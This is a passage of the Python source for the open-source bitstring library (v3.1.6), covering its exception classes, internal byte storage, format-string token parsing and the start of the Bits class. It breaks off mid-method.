    "content": "#!/usr/bin/env python\n\"\"\"\nThis package defines classes that simplify bit-wise creation, manipulation and\ninterpretation of data.\n\nClasses:\n\nBits -- An immutable container for binary data.\nBitArray -- A mutable container for binary data.\nConstBitStream -- An immutable container with streaming methods.\nBitStream -- A mutable container with streaming methods.\n\n                      Bits (base class)\n                     /    \\\n + mutating methods /      \\ + streaming methods\n                   /        \\\n              BitArray   ConstBitStream\n                   \\        /\n                    \\      /\n                     \\    /\n                    BitStream\n\nFunctions:\n\npack -- Create a BitStream from a format string.\n\nExceptions:\n\nError -- Module exception base class.\nCreationError -- Error during creation.\nInterpretError -- Inappropriate interpretation of binary data.\nByteAlignError -- Whole byte position or length needed.\nReadError -- Reading or peeking past the end of a bitstring.\n\nhttps://github.com/scott-griffiths/bitstring\n\"\"\"\n\n__licence__ = \"\"\"\nThe MIT License\n\nCopyright (c) 2006-2019 Scott Griffiths (dr.scottgriffiths@gmail.com)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\n\n__version__ = \"3.1.6\"\n\n__author__ = \"Scott Griffiths\"\n\nimport numbers\nimport copy\nimport sys\nimport re\nimport binascii\nimport mmap\nimport os\nimport struct\nimport operator\nimport collections\nimport array\n\nbyteorder = sys.byteorder\n\nbytealigned = False\n\"\"\"Determines whether a number of methods default to working only on byte boundaries.\"\"\"\n\n# Maximum number of digits to use in __str__ and __repr__.\nMAX_CHARS = 250\n\n# Maximum size of caches used for speed optimisations.\nCACHE_SIZE = 1000\n\nclass Error(Exception):\n    \"\"\"Base class for errors in the bitstring module.\"\"\"\n\n    def __init__(self, *params):\n        self.msg = params[0] if params else ''\n        self.params = params[1:]\n\n    def __str__(self):\n        if self.params:\n            return self.msg.format(*self.params)\n        return self.msg\n\n\nclass ReadError(Error, IndexError):\n    \"\"\"Reading or peeking past the end of a bitstring.\"\"\"\n\n    def __init__(self, *params):\n        Error.__init__(self, *params)\n\n\nclass InterpretError(Error, ValueError):\n    \"\"\"Inappropriate interpretation of binary data.\"\"\"\n\n    def __init__(self, *params):\n        Error.__init__(self, *params)\n\n\nclass ByteAlignError(Error):\n    \"\"\"Whole-byte position or length needed.\"\"\"\n\n    def __init__(self, *params):\n        Error.__init__(self, *params)\n\n\nclass CreationError(Error, ValueError):\n    \"\"\"Inappropriate argument during bitstring creation.\"\"\"\n\n    def __init__(self, *params):\n        Error.__init__(self, *params)\n\n\nclass ConstByteStore(object):\n    \"\"\"Stores raw bytes together with a bit offset and length.\n\n    Used internally - not part of public interface.\n    \"\"\"\n\n    __slots__ = ('offset', '_rawarray', 'bitlength')\n\n    def __init__(self, data, bitlength=None, offset=None):\n        \"\"\"data is either a bytearray or a MmapByteArray\"\"\"\n        self._rawarray = data\n        if offset is None:\n            offset = 0\n        if bitlength is None:\n            bitlength = 8 * len(data) - offset\n        self.offset = offset\n        self.bitlength = bitlength\n\n    def __iter__(self):\n        start_byte, start_bit = divmod(self.offset, 8)\n        end_byte, end_bit = divmod(self.offset + self.bitlength, 8)\n\n        for byte_index in xrange(start_byte, end_byte):\n            byte = self._rawarray[byte_index]\n            for bit in range(start_bit, 8):\n                yield bool(byte & (128 >> bit))\n            start_bit = 0\n\n        if end_bit:\n            byte = self._rawarray[end_byte]\n            for bit in range(start_bit, end_bit):\n                yield bool(byte & (128 >> bit))\n\n    def getbit(self, pos):\n        assert 0 <= pos < self.bitlength\n        byte, bit = divmod(self.offset + pos, 8)\n        return bool(self._rawarray[byte] & (128 >> bit))\n\n    def getbyte(self, pos):\n        \"\"\"Direct access to byte data.\"\"\"\n        return self._rawarray[pos]\n\n    def getbyteslice(self, start, end):\n        \"\"\"Direct access to byte data.\"\"\"\n        c = self._rawarray[start:end]\n        return c\n\n    @property\n    def bytelength(self):\n        if not self.bitlength:\n            return 0\n        sb = self.offset // 8\n        eb = (self.offset + self.bitlength - 1) // 8\n        return eb - sb + 1\n\n    def __copy__(self):\n        return ByteStore(self._rawarray[:], self.bitlength, self.offset)\n\n    def _appendstore(self, store):\n        \"\"\"Join another store on to the end of this one.\"\"\"\n        if not store.bitlength:\n            return\n        # Set new array offset to the number of bits in the final byte of current array.\n        store = offsetcopy(store, (self.offset + self.bitlength) % 8)\n        if store.offset:\n            # first do the byte with the join.\n            joinval = (self._rawarray.pop() & (255 ^ (255 >> store.offset)) |\n                       (store.getbyte(0) & (255 >> store.offset)))\n            self._rawarray.append(joinval)\n            self._rawarray.extend(store._rawarray[1:])\n        else:\n            self._rawarray.extend(store._rawarray)\n        self.bitlength += store.bitlength\n\n    def _prependstore(self, store):\n        \"\"\"Join another store on to the start of this one.\"\"\"\n        if not store.bitlength:\n            return\n            # Set the offset of copy of store so that it's final byte\n        # ends in a position that matches the offset of self,\n        # then join self on to the end of it.\n        store = offsetcopy(store, (self.offset - store.bitlength) % 8)\n        assert (store.offset + store.bitlength) % 8 == self.offset % 8\n        bit_offset = self.offset % 8\n        if bit_offset:\n            # first do the byte with the join.\n            joinval = (store.getbyte(-1) & (255 ^ (255 >> bit_offset)) | \n                               (self._rawarray[self.byteoffset] & (255 >> bit_offset)))\n            store._rawarray[-1] = joinval\n            store._rawarray.extend(self._rawarray[self.byteoffset + 1: self.byteoffset + self.bytelength])\n        else:\n            store._rawarray.extend(self._rawarray[self.byteoffset: self.byteoffset + self.bytelength])\n        self._rawarray = store._rawarray\n        self.offset = store.offset\n        self.bitlength += store.bitlength\n\n    @property\n    def byteoffset(self):\n        return self.offset // 8\n\n    @property\n    def rawbytes(self):\n        return self._rawarray\n\n\nclass ByteStore(ConstByteStore):\n    \"\"\"Adding mutating methods to ConstByteStore\n\n    Used internally - not part of public interface.\n    \"\"\"\n    __slots__ = ()\n\n    def setbit(self, pos):\n        assert 0 <= pos < self.bitlength\n        byte, bit = divmod(self.offset + pos, 8)\n        self._rawarray[byte] |= (128 >> bit)\n\n    def unsetbit(self, pos):\n        assert 0 <= pos < self.bitlength\n        byte, bit = divmod(self.offset + pos, 8)\n        self._rawarray[byte] &= ~(128 >> bit)\n\n    def invertbit(self, pos):\n        assert 0 <= pos < self.bitlength\n        byte, bit = divmod(self.offset + pos, 8)\n        self._rawarray[byte] ^= (128 >> bit)\n\n    def setbyte(self, pos, value):\n        self._rawarray[pos] = value\n\n    def setbyteslice(self, start, end, value):\n        self._rawarray[start:end] = value\n\n\ndef offsetcopy(s, newoffset):\n    \"\"\"Return a copy of a ByteStore with the newoffset.\n\n    Not part of public interface.\n    \"\"\"\n    assert 0 <= newoffset < 8\n    if not s.bitlength:\n        return copy.copy(s)\n    else:\n        if newoffset == s.offset % 8:\n            return type(s)(s.getbyteslice(s.byteoffset, s.byteoffset + s.bytelength), s.bitlength, newoffset)\n        newdata = []\n        d = s._rawarray\n        assert newoffset != s.offset % 8\n        if newoffset < s.offset % 8:\n            # We need to shift everything left\n            shiftleft = s.offset % 8 - newoffset\n            # First deal with everything except for the final byte\n            for x in range(s.byteoffset, s.byteoffset + s.bytelength - 1):\n                newdata.append(((d[x] << shiftleft) & 0xff) +\\\n                               (d[x + 1] >> (8 - shiftleft)))\n            bits_in_last_byte = (s.offset + s.bitlength) % 8\n            if not bits_in_last_byte:\n                bits_in_last_byte = 8\n            if bits_in_last_byte > shiftleft:\n                newdata.append((d[s.byteoffset + s.bytelength - 1] << shiftleft) & 0xff)\n        else: # newoffset > s._offset % 8\n            shiftright = newoffset - s.offset % 8\n            newdata.append(s.getbyte(0) >> shiftright)\n            for x in range(s.byteoffset + 1, s.byteoffset + s.bytelength):\n                newdata.append(((d[x - 1] << (8 - shiftright)) & 0xff) +\\\n                               (d[x] >> shiftright))\n            bits_in_last_byte = (s.offset + s.bitlength) % 8\n            if not bits_in_last_byte:\n                bits_in_last_byte = 8\n            if bits_in_last_byte + shiftright > 8:\n                newdata.append((d[s.byteoffset + s.bytelength - 1] << (8 - shiftright)) & 0xff)\n        new_s = type(s)(bytearray(newdata), s.bitlength, newoffset)\n        assert new_s.offset == newoffset\n        return new_s\n\n\ndef equal(a, b):\n    \"\"\"Return True if ByteStores a == b.\n\n    Not part of public interface.\n    \"\"\"\n    # We want to return False for inequality as soon as possible, which\n    # means we get lots of special cases.\n    # First the easy one - compare lengths:\n    a_bitlength = a.bitlength\n    b_bitlength = b.bitlength\n    if a_bitlength != b_bitlength:\n        return False\n    if not a_bitlength:\n        assert b_bitlength == 0\n        return True\n    # Make 'a' the one with the smaller offset\n    if (a.offset % 8) > (b.offset % 8):\n        a, b = b, a\n    # and create some aliases\n    a_bitoff = a.offset % 8\n    b_bitoff = b.offset % 8\n    a_byteoffset = a.byteoffset\n    b_byteoffset = b.byteoffset\n    a_bytelength = a.bytelength\n    b_bytelength = b.bytelength\n    da = a._rawarray\n    db = b._rawarray\n\n    # If they are pointing to the same data, they must be equal\n    if da is db and a.offset == b.offset:\n        return True\n\n    if a_bitoff == b_bitoff:\n        bits_spare_in_last_byte = 8 - (a_bitoff + a_bitlength) % 8\n        if bits_spare_in_last_byte == 8:\n            bits_spare_in_last_byte = 0\n        # Special case for a, b contained in a single byte\n        if a_bytelength == 1:\n            a_val = ((da[a_byteoffset] << a_bitoff) & 0xff) >> (8 - a_bitlength)\n            b_val = ((db[b_byteoffset] << b_bitoff) & 0xff) >> (8 - b_bitlength)\n            return a_val == b_val\n        # Otherwise check first byte\n        if da[a_byteoffset] & (0xff >> a_bitoff) != db[b_byteoffset] & (0xff >> b_bitoff):\n            return False\n        # then everything up to the last\n        b_a_offset = b_byteoffset - a_byteoffset\n        for x in range(1 + a_byteoffset, a_byteoffset + a_bytelength - 1):\n            if da[x] != db[b_a_offset + x]:\n                return False\n        # and finally the last byte\n        return (da[a_byteoffset + a_bytelength - 1] >> bits_spare_in_last_byte ==\n                db[b_byteoffset + b_bytelength - 1] >> bits_spare_in_last_byte)\n\n    assert a_bitoff != b_bitoff\n    # This is how much we need to shift a to the right to compare with b:\n    shift = b_bitoff - a_bitoff\n    # Special case for b only one byte long\n    if b_bytelength == 1:\n        assert a_bytelength == 1\n        a_val = ((da[a_byteoffset] << a_bitoff) & 0xff) >> (8 - a_bitlength)\n        b_val = ((db[b_byteoffset] << b_bitoff) & 0xff) >> (8 - b_bitlength)\n        return a_val == b_val\n    # Special case for a only one byte long\n    if a_bytelength == 1:\n        assert b_bytelength == 2\n        a_val = ((da[a_byteoffset] << a_bitoff) & 0xff) >> (8 - a_bitlength)\n        b_val = ((db[b_byteoffset] << 8) + db[b_byteoffset + 1]) << b_bitoff\n        b_val &= 0xffff\n        b_val >>= 16 - b_bitlength\n        return a_val == b_val\n\n    # Compare first byte of b with bits from first byte of a\n    if (da[a_byteoffset] & (0xff >> a_bitoff)) >> shift != db[b_byteoffset] & (0xff >> b_bitoff):\n        return False\n    # Now compare every full byte of b with bits from 2 bytes of a\n    for x in range(1, b_bytelength - 1):\n        # Construct byte from 2 bytes in a to compare to byte in b\n        b_val = db[b_byteoffset + x]\n        a_val = ((da[a_byteoffset + x - 1] << 8) + da[a_byteoffset + x]) >> shift\n        a_val &= 0xff\n        if a_val != b_val:\n            return False\n\n    # Now check bits in final byte of b\n    final_b_bits = (b.offset + b_bitlength) % 8\n    if not final_b_bits:\n        final_b_bits = 8\n    b_val = db[b_byteoffset + b_bytelength - 1] >> (8 - final_b_bits)\n    final_a_bits = (a.offset + a_bitlength) % 8\n    if not final_a_bits:\n        final_a_bits = 8\n    if b.bytelength > a_bytelength:\n        assert b_bytelength == a_bytelength + 1\n        a_val = da[a_byteoffset + a_bytelength - 1] >> (8 - final_a_bits)\n        a_val &= 0xff >> (8 - final_b_bits)\n        return a_val == b_val\n    assert a_bytelength == b_bytelength\n    a_val = da[a_byteoffset + a_bytelength - 2] << 8\n    a_val += da[a_byteoffset + a_bytelength - 1]\n    a_val >>= (8 - final_a_bits)\n    a_val &= 0xff >> (8 - final_b_bits)\n    return a_val == b_val\n\n\nclass MmapByteArray(object):\n    \"\"\"Looks like a bytearray, but from an mmap.\n\n    Not part of public interface.\n    \"\"\"\n\n    __slots__ = ('filemap', 'filelength', 'source', 'byteoffset', 'bytelength')\n\n    def __init__(self, source, bytelength=None, byteoffset=None):\n        self.source = source\n        source.seek(0, os.SEEK_END)\n        self.filelength = source.tell()\n        if byteoffset is None:\n            byteoffset = 0\n        if bytelength is None:\n            bytelength = self.filelength - byteoffset\n        self.byteoffset = byteoffset\n        self.bytelength = bytelength\n        self.filemap = mmap.mmap(source.fileno(), 0, access=mmap.ACCESS_READ)\n\n    def __getitem__(self, key):\n        try:\n            start = key.start\n            stop = key.stop\n        except AttributeError:\n            try:\n                assert 0 <= key < self.bytelength\n                return ord(self.filemap[key + self.byteoffset])\n            except TypeError:\n                # for Python 3\n                return self.filemap[key + self.byteoffset]\n        else:\n            if start is None:\n                start = 0\n            if stop is None:\n                stop = self.bytelength\n            assert key.step is None\n            assert 0 <= start < self.bytelength\n            assert 0 <= stop <= self.bytelength\n            s = slice(start + self.byteoffset, stop + self.byteoffset)\n            return bytearray(self.filemap.__getitem__(s))\n\n    def __len__(self):\n        return self.bytelength\n\n\n# This creates a dictionary for every possible byte with the value being\n# the key with its bits reversed.\nBYTE_REVERSAL_DICT = dict()\n\n# For Python 2.x/ 3.x coexistence\n# Yes this is very very hacky.\nif sys.version_info[0] == 2:\n    for i in range(256):\n        BYTE_REVERSAL_DICT[i] = chr(int(\"{0:08b}\".format(i)[::-1], 2))\nelse:\n    for i in range(256):\n        BYTE_REVERSAL_DICT[i] = bytes([int(\"{0:08b}\".format(i)[::-1], 2)])\n    from io import IOBase as file\n    xrange = range\n    basestring = str\n\n# Python 2.x octals start with '0', in Python 3 it's '0o'\nLEADING_OCT_CHARS = len(oct(1)) - 1\n\ndef tidy_input_string(s):\n    \"\"\"Return string made lowercase and with all whitespace removed.\"\"\"\n    s = ''.join(s.split()).lower()\n    return s\n\nINIT_NAMES = ('uint', 'int', 'ue', 'se', 'sie', 'uie', 'hex', 'oct', 'bin', 'bits',\n              'uintbe', 'intbe', 'uintle', 'intle', 'uintne', 'intne',\n              'float', 'floatbe', 'floatle', 'floatne', 'bytes', 'bool', 'pad')\n\nTOKEN_RE = re.compile(r'(?P<name>' + '|'.join(INIT_NAMES) +\n                      r')((:(?P<len>[^=]+)))?(=(?P<value>.*))?$', re.IGNORECASE)\nDEFAULT_UINT = re.compile(r'(?P<len>[^=]+)?(=(?P<value>.*))?$', re.IGNORECASE)\n\nMULTIPLICATIVE_RE = re.compile(r'(?P<factor>.*)\\*(?P<token>.+)')\n\n# Hex, oct or binary literals\nLITERAL_RE = re.compile(r'(?P<name>0(x|o|b))(?P<value>.+)', re.IGNORECASE)\n\n# An endianness indicator followed by one or more struct.pack codes\nSTRUCT_PACK_RE = re.compile(r'(?P<endian><|>|@)?(?P<fmt>(?:\\d*[bBhHlLqQfd])+)$')\n\n# A number followed by a single character struct.pack code\nSTRUCT_SPLIT_RE = re.compile(r'\\d*[bBhHlLqQfd]')\n\n# These replicate the struct.pack codes\n# Big-endian\nREPLACEMENTS_BE = {'b': 'intbe:8', 'B': 'uintbe:8',\n                   'h': 'intbe:16', 'H': 'uintbe:16',\n                   'l': 'intbe:32', 'L': 'uintbe:32',\n                   'q': 'intbe:64', 'Q': 'uintbe:64',\n                   'f': 'floatbe:32', 'd': 'floatbe:64'}\n# Little-endian\nREPLACEMENTS_LE = {'b': 'intle:8', 'B': 'uintle:8',\n                   'h': 'intle:16', 'H': 'uintle:16',\n                   'l': 'intle:32', 'L': 'uintle:32',\n                   'q': 'intle:64', 'Q': 'uintle:64',\n                   'f': 'floatle:32', 'd': 'floatle:64'}\n\n# Size in bytes of all the pack codes.\nPACK_CODE_SIZE = {'b': 1, 'B': 1, 'h': 2, 'H': 2, 'l': 4, 'L': 4,\n                  'q': 8, 'Q': 8, 'f': 4, 'd': 8}\n\n_tokenname_to_initialiser = {'hex': 'hex', '0x': 'hex', '0X': 'hex', 'oct': 'oct',\n                             '0o': 'oct', '0O': 'oct', 'bin': 'bin', '0b': 'bin',\n                             '0B': 'bin', 'bits': 'auto', 'bytes': 'bytes', 'pad': 'pad'}\n\ndef structparser(token):\n    \"\"\"Parse struct-like format string token into sub-token list.\"\"\"\n    m = STRUCT_PACK_RE.match(token)\n    if not m:\n        return [token]\n    else:\n        endian = m.group('endian')\n        if endian is None:\n            return [token]\n        # Split the format string into a list of 'q', '4h' etc.\n        formatlist = re.findall(STRUCT_SPLIT_RE, m.group('fmt'))\n        # Now deal with mulitiplicative factors, 4h -> hhhh etc.\n        fmt = ''.join([f[-1] * int(f[:-1]) if len(f) != 1 else\n                       f for f in formatlist])\n        if endian == '@':\n            # Native endianness\n            if byteorder == 'little':\n                endian = '<'\n            else:\n                assert byteorder == 'big'\n                endian = '>'\n        if endian == '<':\n            tokens = [REPLACEMENTS_LE[c] for c in fmt]\n        else:\n            assert endian == '>'\n            tokens = [REPLACEMENTS_BE[c] for c in fmt]\n    return tokens\n\ndef tokenparser(fmt, keys=None, token_cache={}):\n    \"\"\"Divide the format string into tokens and parse them.\n\n    Return stretchy token and list of [initialiser, length, value]\n    initialiser is one of: hex, oct, bin, uint, int, se, ue, 0x, 0o, 0b etc.\n    length is None if not known, as is value.\n\n    If the token is in the keyword dictionary (keys) then it counts as a\n    special case and isn't messed with.\n\n    tokens must be of the form: [factor*][initialiser][:][length][=value]\n\n    \"\"\"\n    try:\n        return token_cache[(fmt, keys)]\n    except KeyError:\n        token_key = (fmt, keys)\n    # Very inefficient expanding of brackets.\n    fmt = expand_brackets(fmt)\n    # Split tokens by ',' and remove whitespace\n    # The meta_tokens can either be ordinary single tokens or multiple\n    # struct-format token strings.\n    meta_tokens = (''.join(f.split()) for f in fmt.split(','))\n    return_values = []\n    stretchy_token = False\n    for meta_token in meta_tokens:\n        # See if it has a multiplicative factor\n        m = MULTIPLICATIVE_RE.match(meta_token)\n        if not m:\n            factor = 1\n        else:\n            factor = int(m.group('factor'))\n            meta_token = m.group('token')\n        # See if it's a struct-like format\n        tokens = structparser(meta_token)\n        ret_vals = []\n        for token in tokens:\n            if keys and token in keys:\n                # Don't bother parsing it, it's a keyword argument\n                ret_vals.append([token, None, None])\n                continue\n            value = length = None\n            if token == '':\n                continue\n            # Match literal tokens of the form 0x... 0o... and 0b...\n            m = LITERAL_RE.match(token)\n            if m:\n                name = m.group('name')\n                value = m.group('value')\n                ret_vals.append([name, length, value])\n                continue\n            # Match everything else:\n            m1 = TOKEN_RE.match(token)\n            if not m1:\n                # and if you don't specify a 'name' then the default is 'uint':\n                m2 = DEFAULT_UINT.match(token)\n                if not m2:\n                    raise ValueError(\"Don't understand token '{0}'.\".format(token))\n            if m1:\n                name = m1.group('name')\n                length = m1.group('len')\n                if m1.group('value'):\n                    value = m1.group('value')\n            else:\n                assert m2\n                name = 'uint'\n                length = m2.group('len')\n                if m2.group('value'):\n                    value = m2.group('value')\n            if name == 'bool':\n                if length is not None and length != '1':\n                    raise ValueError(\"You can only specify one bit sized bool tokens or leave unspecified.\")\n                length = 1\n            if length is None and name not in ('se', 'ue', 'sie', 'uie'):\n                stretchy_token = True\n            if length is not None:\n                # Try converting length to int, otherwise check it's a key.\n                try:\n                    length = int(length)\n                    if length < 0:\n                        raise Error\n                    # For the 'bytes' token convert length to bits.\n                    if name == 'bytes':\n                        length *= 8\n                except Error:\n                    raise ValueError(\"Can't read a token with a negative length.\")\n                except ValueError:\n                    if not keys or length not in keys:\n                        raise ValueError(\"Don't understand length '{0}' of token.\".format(length))\n            ret_vals.append([name, length, value])\n        # This multiplies by the multiplicative factor, but this means that\n        # we can't allow keyword values as multipliers (e.g. n*uint:8).\n        # The only way to do this would be to return the factor in some fashion\n        # (we can't use the key's value here as it would mean that we couldn't\n        # sensibly continue to cache the function's results. (TODO).\n        return_values.extend(ret_vals * factor)\n    return_values = [tuple(x) for x in return_values]\n    if len(token_cache) < CACHE_SIZE:\n        token_cache[token_key] = stretchy_token, return_values\n    return stretchy_token, return_values\n\n# Looks for first number*(\nBRACKET_RE = re.compile(r'(?P<factor>\\d+)\\*\\(')\n\ndef expand_brackets(s):\n    \"\"\"Remove whitespace and expand all brackets.\"\"\"\n    s = ''.join(s.split())\n    while True:\n        start = s.find('(')\n        if start == -1:\n            break\n        count = 1 # Number of hanging open brackets\n        p = start + 1\n        while p < len(s):\n            if s[p] == '(':\n                count += 1\n            if s[p] == ')':\n                count -= 1\n            if not count:\n                break\n            p += 1\n        if count:\n            raise ValueError(\"Unbalanced parenthesis in '{0}'.\".format(s))\n        if start == 0 or s[start - 1] != '*':\n            s = s[0:start] + s[start + 1:p] + s[p + 1:]\n        else:\n            m = BRACKET_RE.search(s)\n            if m:\n                factor = int(m.group('factor'))\n                matchstart = m.start('factor')\n                s = s[0:matchstart] + (factor - 1) * (s[start + 1:p] + ',') + s[start + 1:p] + s[p + 1:]\n            else:\n                raise ValueError(\"Failed to parse '{0}'.\".format(s))\n    return s\n\n\n# This converts a single octal digit to 3 bits.\nOCT_TO_BITS = ['{0:03b}'.format(i) for i in xrange(8)]\n\n# A dictionary of number of 1 bits contained in binary representation of any byte\nBIT_COUNT = dict(zip(xrange(256), [bin(i).count('1') for i in xrange(256)]))\n\n\nclass Bits(object):\n    \"\"\"A container holding an immutable sequence of bits.\n\n    For a mutable container use the BitArray class instead.\n\n    Methods:\n\n    all() -- Check if all specified bits are set to 1 or 0.\n    any() -- Check if any of specified bits are set to 1 or 0.\n    count() -- Count the number of bits set to 1 or 0.\n    cut() -- Create generator of constant sized chunks.\n    endswith() -- Return whether the bitstring ends with a sub-string.\n    find() -- Find a sub-bitstring in the current bitstring.\n    findall() -- Find all occurrences of a sub-bitstring in the current bitstring.\n    join() -- Join bitstrings together using current bitstring.\n    rfind() -- Seek backwards to find a sub-bitstring.\n    split() -- Create generator of chunks split by a delimiter.\n    startswith() -- Return whether the bitstring starts with a sub-bitstring.\n    tobytes() -- Return bitstring as bytes, padding if needed.\n    tofile() -- Write bitstring to file, padding if needed.\n    unpack() -- Interpret bits using format string.\n\n    Special methods:\n\n    Also available are the operators [], ==, !=, +, *, ~, <<, >>, &, |, ^.\n\n    Properties:\n\n    bin -- The bitstring as a binary string.\n    bool -- For single bit bitstrings, interpret as True or False.\n    bytes -- The bitstring as a bytes object.\n    float -- Interpret as a floating point number.\n    floatbe -- Interpret as a big-endian floating point number.\n    floatle -- Interpret as a little-endian floating point number.\n    floatne -- Interpret as a native-endian floating point number.\n    hex -- The bitstring as a hexadecimal string.\n    int -- Interpret as a two's complement signed integer.\n    intbe -- Interpret as a big-endian signed integer.\n    intle -- Interpret as a little-endian signed integer.\n    intne -- Interpret as a native-endian signed integer.\n    len -- Length of the bitstring in bits.\n    oct -- The bitstring as an octal string.\n    se -- Interpret as a signed exponential-Golomb code.\n    ue -- Interpret as an unsigned exponential-Golomb code.\n    sie -- Interpret as a signed interleaved exponential-Golomb code.\n    uie -- Interpret as an unsigned interleaved exponential-Golomb code.\n    uint -- Interpret as a two's complement unsigned integer.\n    uintbe -- Interpret as a big-endian unsigned integer.\n    uintle -- Interpret as a little-endian unsigned integer.\n    uintne -- Interpret as a native-endian unsigned integer.\n\n    \"\"\"\n\n    __slots__ = ('_datastore')\n\n    def __init__(self, auto=None, length=None, offset=None, **kwargs):\n        \"\"\"Either specify an 'auto' initialiser:\n        auto -- a string of comma separated tokens, an integer, a file object,\n                a bytearray, a boolean iterable, an array or another bitstring.\n\n        Or initialise via **kwargs with one (and only one) of:\n        bytes -- raw data as a string, for example read from a binary file.\n        bin -- binary string representation, e.g. '0b001010'.\n        hex -- hexadecimal string representation, e.g. '0x2ef'\n        oct -- octal string representation, e.g. '0o777'.\n        uint -- an unsigned integer.\n        int -- a signed integer.\n        float -- a floating point number.\n        uintbe -- an unsigned big-endian whole byte integer.\n        intbe -- a signed big-endian whole byte integer.\n        floatbe - a big-endian floating point number.\n        uintle -- an unsigned little-endian whole byte integer.\n        intle -- a signed little-endian whole byte integer.\n        floatle -- a little-endian floating point number.\n        uintne -- an unsigned native-endian whole byte integer.\n        intne -- a signed native-endian whole byte integer.\n        floatne -- a native-endian floating point number.\n        se -- a signed exponential-Golomb code.\n        ue -- an unsigned exponential-Golomb code.\n        sie -- a signed interleaved exponential-Golomb code.\n        uie -- an unsigned interleaved exponential-Golomb code.\n        bool -- a boolean (True or False).\n        filename -- a file which will be opened in binary read-only mode.\n\n        Other keyword arguments:\n        length -- length of the bitstring in bits, if needed and appropriate.\n                  It must be supplied for all integer and float initialisers.\n        offset -- bit offset to the data. These offset bits are\n                  ignored and this is mainly intended for use when\n                  initialising using 'bytes' or 'filename'.\n\n        \"\"\"\n        pass\n\n    def __new__(cls, auto=None, length=None, offset=None, _cache={}, **kwargs):\n        # For instances auto-initialised with a string we intern the\n        # instance for re-use.\n        try:\n            if isinstance(auto, basestring):\n                try:\n                    return _cache[auto]\n                except KeyError:\n                    x = object.__new__(Bits)\n                    try:\n                        _, tokens = tokenparser(auto)\n                    except ValueError as e:\n                        raise CreationError(*e.args)\n                    x._datastore = ConstByteStore(bytearray(0), 0, 0)\n                    for token in tokens:\n                        x._datastore._appendstore(Bits._init_with_token(*token)._datastore)\n                    assert x._assertsanity()\n                    if len(_cache) < CACHE_SIZE:\n                        _cache[auto] = x\n                    return x\n            if type(auto) == Bits:\n                return auto\n        except TypeError:\n            pass\n        x = super(Bits, cls).__new__(cls)\n        x._datastore = ConstByteStore(b'')\n        x._initialise(auto, length, offset, **kwargs)\n        return x\n\n    def _initialise(self, auto, length, offset, **kwargs):\n        if length is not None and length < 0:\n            raise CreationError(\"bitstring length cannot be negative.\")\n        if offset is not None and offset < 0:\n            raise CreationError(\"offset must be >= 0.\")\n        if auto is not None:\n            self._initialise_from_auto(auto, length, offset)\n            return\n        if not kwargs:\n            # No initialisers, so initialise with nothing or zero bits\n            if length is not None and length != 0:\n                data = bytearray((length + 7) // 8)\n                self._setbytes_unsafe(data, length, 0)\n                return\n            self._setbytes_unsafe(bytearray(0), 0, 0)\n            return\n        k, v = kwargs.popitem()\n        try:\n            init_without_length_or_offset[k](self, v)\n            if length is not None or offset is not None:\n                raise CreationError(\"Cannot use length or offset with this initialiser.\")\n        except KeyError:\n            try:\n                init_with_length_only[k](self, v, length)\n                if offset is not None:\n                    raise CreationError(\"Cannot use offset with this initialiser.\")\n            except KeyError:\n                if offset is None:\n                    offset = 0\n                try:\n                    init_with_length_and_offset[k](self, v, length, offset)\n                except KeyError:\n                    raise CreationError(\"Unrecognised keyword '{0}' used to initialise.\", k)\n\n    def _initialise_from_auto(self, auto, length, offset):\n        if offset is None:\n            offset = 0\n        self._setauto(auto, length, offset)\n        return\n\n    def __iter__(self):\n        return iter(self._datastore)\n\n    def __copy__(self):\n        \"\"\"Return a new copy of the Bits for the copy module.\"\"\"\n        # Note that if you want a new copy (different ID), use _copy instead.\n        # The copy can return self as it's immutable.\n        return self\n\n    def __lt__(self, other):\n        raise TypeError(\"unorderable type: {0}\".format(type(self).__name__))\n\n    def __gt__(self, other):\n        raise TypeError(\"unorderable type: {0}\".format(type(self).__name__))\n\n    def __le__(self, other):\n        raise TypeError(\"unorderable type: {0}\".format(type(self).__name__))\n\n    def __ge__(self, other):\n        raise TypeError(\"unorderable type: {0}\".format(type(self).__name__))\n\n    def __add__(self, bs):\n        \"\"\"Concatenate bitstrings and return new bitstring.\n\n        bs -- the bitstring to append.\n\n        \"\"\"\n        bs = Bits(bs)\n        if bs.len <= self.len:\n            s = self._copy()\n            s._append(bs)\n        else:\n            s = bs._copy()\n            s = self.__class__(s)\n            s._prepend(self)\n        return s\n\n    def __radd__(self, bs):\n        \"\"\"Append current bitstring to bs and return new bitstring.\n\n        bs -- the string for the 'auto' initialiser that will be appended to.\n\n        \"\"\"\n        bs = self._converttobitstring(bs)\n        return bs.__add__(self)\n\n    def __getitem__(self, key):\n        \"\"\"Return a new bitstring representing a slice of the current bitstring.\n\n        Indices are in units of the step parameter (default 1 bit).\n        Stepping is used to specify the number of bits in each item.\n\n        >>> print BitArray('0b00110')[1:4]\n        '0b011'\n        >>> print BitArray('0x00112233')[1:3:8]\n        '0x1122'\n\n        \"\"\"\n        length = self.len\n        if isinstance(key, slice):\n            step = key.step if key.step is not None else 1\n            if step != 1:\n                # convert to binary string and use string slicing\n                bs = self.__class__()\n                bs._setbin_unsafe(self._getbin().__getitem__(key))\n                return bs\n            start, stop = 0, length\n            if key.start is not None:\n                start = key.start\n                if key.start < 0:\n                    start += stop\n            if key.stop is not None:\n                stop = key.stop\n                if key.stop < 0:\n                    stop += length\n            start = max(start, 0)\n            stop = min(stop, length)\n            if start < stop:\n                return self._slice(start, stop)\n            else:\n                return self.__class__()\n        else:\n            # single element\n            if key < 0:\n                key += length\n            if not 0 <= key < length:\n                raise IndexError(\"Slice index out of 